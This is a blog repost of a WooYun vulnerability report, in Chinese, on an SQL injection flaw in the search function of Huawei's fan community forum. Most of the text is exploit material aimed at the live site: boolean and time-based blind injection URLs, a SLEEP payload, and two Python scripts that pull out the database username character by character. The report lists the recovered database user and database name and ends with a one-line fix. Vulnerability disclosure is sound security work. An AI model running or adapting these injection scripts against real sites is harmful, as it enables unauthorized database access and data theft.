记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

华为花粉用户社区存在SQL注入漏洞

2015-12-12 03:00

#1 注入地址

返回正常内容

code 区域
http://club.huawei.com/plugin.php?sctime=0&page=3&srchtxt=%' AND 1=1 AND '%'='&action=search&sctype=0&id=auction



1.jpg



返回查询内容为空

code 区域
http://club.huawei.com/plugin.php?sctime=0&page=3&srchtxt=%' AND 1=2 AND '%'='&action=search&sctype=0&id=auction



2.jpg

漏洞证明:

#2 利用方法,参照vip的sleep注入

WooYun: 唯品会www主站存在SQL注入漏洞

以5秒为指数

code 区域
(SELECT * FROM (SELECT(SLEEP((ASCII(MID(LOWER(USER()),1,1))=114)*5)))ring)



code 区域
#!/usr/bin/env python

# encoding: utf-8

# huawei_club.py

# [email protected]



import requests

import time

import sys



reload(sys)

sys.setdefaultencoding('utf-8')



payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')



for i in range(1,20):

for _str in payloads:

start_time = time.time()

url = "http://club.huawei.com/plugin.php?sctime=0&page=3&srchtxt=%' AND (SELECT * FROM (SELECT(SLEEP((ASCII(MID(LOWER(USER())," + str(i) + ",1))=" + str(ord(_str)) + ")*5)))ring) AND '%'='&action=search&sctype=0&id=auction"

result = requests.get(url).text

if(time.time() - start_time) > 3:

print _str

break



#exp2 由于使用sleep会把论坛搞死,采用第二种方法,判断返回页面大小

and 1=1 返回的page大小 > 30000

and 1=2 返回的page大小 < 30000

huawei.png



数据库用户名:[email protected]

数据库:emotionui

#使用返回网页大小判断EXPLOIT

code 区域
#!/usr/bin/env python

# encoding: utf-8

# huawei_club.py

# [email protected]



import requests

import sys



reload(sys)

sys.setdefaultencoding('utf-8')



payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')



for i in range(1,20):

for _str in payloads:

url = "http://club.huawei.com/plugin.php?sctime=0&page=3&srchtxt=%' AND ASCII(MID(LOWER(USER())," + str(i) + ",1))=" + str(ord(_str)) + " AND '%'='&action=search&sctype=0&id=auction"

result = requests.get(url).text

if len(result) > 30000:

print _str

break

修复方案:

# 搜索参数做转义或过滤

知识来源: www.wooyun.org/bugs/wooyun-2015-0149972

阅读:103370 | 评论:0 | 标签:注入 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“华为花粉用户社区存在SQL注入漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云